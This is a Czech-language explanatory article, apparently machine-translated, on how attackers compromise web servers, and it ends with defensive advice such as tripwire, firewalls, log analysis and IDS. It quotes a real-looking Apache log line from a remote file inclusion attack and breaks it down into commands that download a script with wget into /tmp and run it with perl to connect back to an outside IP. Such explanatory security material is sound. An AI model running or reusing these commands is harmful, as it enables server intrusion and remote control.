Vykořisťovatelé se ze své podstaty snaží nebýt odhaleni. Většina exploitů tedy nepřichází do systému běžnými prostředky, alespoň ne zpočátku. K získání přístupu do systému obvykle použijí něco jako přetečení vyrovnávací paměti.
přetečení vyrovnávací paměti
Tento styl útoku hledá části aplikace, které se snaží převzít vstup od uživatele. Přemýšlejte o webové stránce a různých textových polích, kde musíte zadat informace zadáváním věcí do těchto textových polí. Každé z těchto textových polí je potenciálním vstupním bodem pro potenciálního útočníka.
Dobrá zpráva:
- Většina z těchto útoků nezískává přístup root, ale získává přístup k uživatelskému účtu speciálně nastavenému pro webový server, takže má obvykle omezený přístup pouze k souborům a funkcím webového serveru.
- prolomení útočníka zanechalo v řadě oblastí značné stopy.
- Protokoly brány firewall
- Protokoly webového serveru
- Další potenciální protokoly bezpečnostních nástrojů
Špatná zpráva:
- Získali přístup k systému, a tak mají předmostí, kde se mohou dále pokoušet proniknout dovnitř.
- Protokoly. Ano, většina časových vloupání není detekována týdny/měsíce/roky vzhledem k tomu, že analýza protokolů je časově náročná a náchylná k chybám.
detekce přihlášení uživatele root
Většina systémů je navržena tak, aby neumožňovala přihlášení uživatele root, takže tento vektor útoku ve skutečnosti nepředstavuje problém. Většina útoků získá přístup k nějakému jinému účtu nižší úrovně a poté se zmocní nalezením dalších zranitelností, jakmile ve vašem systému vytvoří předmostí.
příklad č. 1:
Útočník by mohl získat přístup root následujícím způsobem:
- Pronikněte do účtu webového serveru systému nalezením zranitelné webové stránky, která zpracovává vstup uživatele z nějakého formuláře prostřednictvím textových polí.
- Jakmile získáte přístup k účtu webového serveru, pokuste se buď získat přístup k shellu prostřednictvím účtu webového serveru, nebo se pokuste přimět účet webového serveru, aby spouštěl příkazy vaším jménem.
- Zjistěte, že verze nástroje tohoto konkrétního systému, jako je příkaz
ls
, má slabinu . - Přetečení nástroje
ls
získat přístup k účtu root.
příklad č. 2:
Útočník by možná ani neměl zájem získat plnou kontrolu nad vaším systémem. Většina vloupání se zajímá pouze o sběrné systémy, které mají být použity jako "otroci" pro jiné účely. Útočníka tak často zajímá pouze instalace softwaru do vašeho systému, aby mohl systém používat, aniž by vůbec získal plnou kontrolu nad systémem.
- Zjistit, že určitá webová stránka zpřístupnila webovou aplikaci X. Útočník ví, že webová aplikace X má zranitelnost, kdy webová aplikace X umožňuje uživatelům nahrávat soubory obrázků.
- Útočník připraví soubor s názvem
CMD.gif
a nahraje to. Možná je to například obrázek avatara uživatele na webu fóra. AleCMD.gif
není obrázek, je to ve skutečnosti program, který se jmenujeCMD.gif
. - Útočník nahraje „obrázek“ na stránku fóra.
- Nyní útočník „obelstí“ webovou aplikaci X, aby spustila jeho „obraz“.
- Útočník pomocí svého prohlížeče volá do webové aplikace X, ale nazývá ji způsobem, který si autoři webové aplikace X nikdy nepředstavovali. Nenavrhli ani webovou aplikaci X, aby to zakázali.
soubor protokolu webového serveru o takovém útoku
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
POZNÁMKA: ukázkový protokol z webového serveru Apache s laskavým svolením OSSEC.net.
Zde útočník získává webapp X (index.php) ke spuštění CMD.gif
který pak může provést následující:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
Přiměli tedy webapp X, aby změnil adresáře na /tmp
, stáhněte si soubor, dc.txt
a poté spusťte soubor a vytvořte připojení zpět k IP adrese 72.36.21.183 na portu 21.
Deaktivace "kompromitovaného" serveru
Myšlenka, že můžete vypnout server, který "detekoval" exploit, je dobrý pokus, ale nefunguje z několika důvodů.
- Pokud se útočník může dostat do prvního systému, pak se pravděpodobně může dostat do druhého systému.
- Většina systémů jsou v podstatě vzájemné klony. Snadněji se udržují a jednoduché (stejné) je charakteristickým znakem většiny věcí v IT a počítačích.
- Odlišné konfigurace znamenají více práce při údržbě systémů a více příležitostí k chybám, což obvykle vede k zranitelnosti.
- Cílem útočníků nemusí být proniknout dovnitř, možná se pokoušejí odepřít přístup k vaší službě. Toto se nazývá odmítnutí služby (DoS).
Pokus o omezení poškození
Mohl bych pokračovat dál a dál, ale obecně máte k dispozici několik zdrojů, pokud jde o zabezpečení systému.
- K detekci změn v systému souborů použijte nástroje, jako je tripwire.
- Firewally – omezte přístup tak, aby byl výslovně povolen pouze tam, kde je to potřeba, namísto úplného přístupu ke všemu.
- Analyzujte soubory protokolu pomocí nástrojů k detekci anomálií.
- Udržujte systém aktuální a aktuální pomocí oprav.
- Omezte expozici – instalujte pouze software, který je v systému potřeba – pokud nepotřebuje
gcc
kompilátor nainstalován, neinstalujte jej. - IDS – software pro detekci narušení.